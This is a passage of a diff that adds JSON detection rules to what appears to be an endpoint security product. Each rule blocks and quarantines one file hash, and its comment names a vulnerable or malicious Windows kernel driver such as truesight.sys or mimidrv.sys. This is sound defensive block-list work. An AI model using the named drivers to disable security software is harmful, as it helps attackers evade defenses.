+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.822727Z",
+  "creation_date": "2026-03-23T11:45:30.822730Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.822735Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b6d91487921478891e5570663f23a473b1b0490f8cf75bdeb7ab00111999fb9b",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "be8d3d00-f0ab-57b3-aa0b-4ba1c318f131",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.813322Z",
+  "creation_date": "2026-03-23T11:45:31.813325Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.813333Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e6fdd4baacdf0ab03ed12749d84e32423ea25dadc0e1a8c7d79f44397bc09951",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "be966eb6-bec3-53c3-bb70-c88309e979e2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.604825Z",
+  "creation_date": "2026-03-23T11:45:29.604827Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.604832Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "078998502b2dd463b8acd5488ee18645c876bb50ebd87e1b0f9ff845a29a2098",
+  "comment": "Process Hacker driver (aka kprocesshacker.sys) [https://processhacker.sourceforge.io/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bea296e6-3bd8-5f55-9def-6620c0baf99e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.611376Z",
+  "creation_date": "2026-03-23T11:45:29.611378Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.611383Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "47c9323ae818bd2a3b55fc04abd984bd940cd4e27b6d4af311edcb66988ce941",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "beabe1d1-2fb2-5fab-bc50-ff1926806942",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.979151Z",
+  "creation_date": "2026-03-23T11:45:29.979153Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.979158Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5a826b4fa10891cf63aae832fc645ce680a483b915c608ca26cedbb173b1b80a",
+  "comment": "Vulnerable Kernel Driver (aka elrawdsk.sys) [https://www.loldrivers.io/drivers/205721b7-b83b-414a-b4b5-8bacb4a37777/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "beb2b947-cb6c-5c16-bd9c-ef99ef6f1c56",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.820720Z",
+  "creation_date": "2026-03-23T11:45:30.820722Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.820727Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d9a73df5ac5c68ef5b37a67e5e649332da0f649c3bb6828f70b65c0a2e7d3a23",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bec14d6b-515d-55ae-a358-dffb3e4754a1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.620710Z",
+  "creation_date": "2026-03-23T11:45:29.620712Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.620717Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8ef0ad86500094e8fa3d9e7d53163aa6feef67c09575c169873c494ed66f057f",
+  "comment": "IBM Vulnerable Physmem drivers (aka citmdrv_amd64.sys and citmdrv_ia64.sys) [https://www.loldrivers.io/drivers/0f21a584-6ace-4242-82cb-9766cea6973a/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bec7c8fc-986e-5da0-8288-1fe4d0d1af2a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.160118Z",
+  "creation_date": "2026-03-23T11:45:31.160120Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.160126Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dd35afd8d1b89bf4c00b5e9131f1abc82dc0492ec466b2c4b6bc6a633355b38a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bedc08e1-9d55-53ec-96eb-f7c2ac10eab7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.485006Z",
+  "creation_date": "2026-03-23T11:45:31.485010Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.485020Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "23b1fd33139874b173a22dfa0b9f240ce0c562e5e0da753986b934ed9a49e82d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bedf6623-4a2a-576e-a387-1ff4a0827455",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.809758Z",
+  "creation_date": "2026-03-23T11:45:31.809761Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.809770Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "525e959c75100ce85a55dd0bc284f5ba49cee289f92c8d2c5184c31961bed7cc",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "beeeec48-42d7-581a-a30a-c372a49a9c52",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.814094Z",
+  "creation_date": "2026-03-23T11:45:31.814098Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.814107Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4afa14df5befa201438f898beaecd73750744a0dbdc065544c9b33edd5b79ded",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "befcfb04-7567-5250-809a-ec8a6ddba923",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.824032Z",
+  "creation_date": "2026-03-23T11:45:31.824035Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.824043Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ea577fad09163c9eb5dcfbfe629a06990453244e9c0abb582c223a6c2a1961ae",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bf08c60b-ae4d-574a-a101-317199e9ce0d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.486322Z",
+  "creation_date": "2026-03-23T11:45:31.486325Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.486332Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2c3790006220e0e530320e78f0cad5127f3c90e02db53efd0ff07b5faa55fabd",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bf1274ca-4790-5d42-931a-b220d17af2a3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.470400Z",
+  "creation_date": "2026-03-23T11:45:30.470404Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.470413Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1425075f7a3f009f703ca8d5bbbfe2cfbc1a7de7f5e17d50708ba99dc0f668ff",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bf17718e-d443-584b-9715-a4ec1b72d81d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.143598Z",
+  "creation_date": "2026-03-23T11:45:31.143600Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.143605Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "60c2dd1c26116e207db74d90fb6952797dd8e1f3dc54a0a9a34241be556778ac",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bf362bdd-e443-50fb-947a-c39425923c58",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.472920Z",
+  "creation_date": "2026-03-23T11:45:31.472923Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.472932Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ed00b27f65e9161f83cbed6ba033f4efb0af9160ea380b1a46c0421898089501",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bf3b495b-5e32-5e06-8eca-0ec57efa5602",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.482794Z",
+  "creation_date": "2026-03-23T11:45:31.482798Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.482807Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e41cfb31e0fdd74f88c237d41672f8667af5179bde7cde0f32cb24101985de81",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bf4b144d-8d34-553e-b7e4-072372b5f86f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.500522Z",
+  "creation_date": "2026-03-23T11:45:31.500525Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.500533Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f3504feac7e57bd16959ff16abb9afbd7c9f6ceefcc3da8d0ae978219cabcf71",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bf4d934d-6d28-5df4-86a1-d980771005ca",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.495364Z",
+  "creation_date": "2026-03-23T11:45:31.495367Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.495375Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "10dd3a2c8745d92c95b8180775a87d7c17ddf6a88f14c59a41aa5fc78fdfe1a9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bf4edc0b-cf2e-5b3b-a825-54197d6976f1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.816042Z",
+  "creation_date": "2026-03-23T11:45:30.816044Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.816050Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9452b5577681c74d568825c4e95c5c9a5e0f682782c8dd932a7d4d732e958802",
+  "comment": "Vulnerable Kernel Driver (aka ecsiodriverx64.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bf519582-f806-5ab3-b423-2e380ae63b48",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.144192Z",
+  "creation_date": "2026-03-23T11:45:32.144196Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.144204Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "08c4b75a9b715647a60b946f3743c4e49a6f5c36c1bc889e741d658508dc50c0",
+  "comment": "Malicious Kernel Driver (aka idmtdi.sys) [https://www.loldrivers.io/drivers/c2e98102-2055-48f0-9449-3e7a7f2c0ffe/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bf556c4b-97d1-5f9b-a108-05e30c521d9c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.145447Z",
+  "creation_date": "2026-03-23T11:45:31.145449Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.145455Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1f4f2f346a3e8035163a4fea0a6c2df2cbe0ea19399b2269fa9d4eacfdd4083c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bf5e4f01-2fe8-595b-bf7d-cda3125f35eb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.821690Z",
+  "creation_date": "2026-03-23T11:45:31.821692Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.821698Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
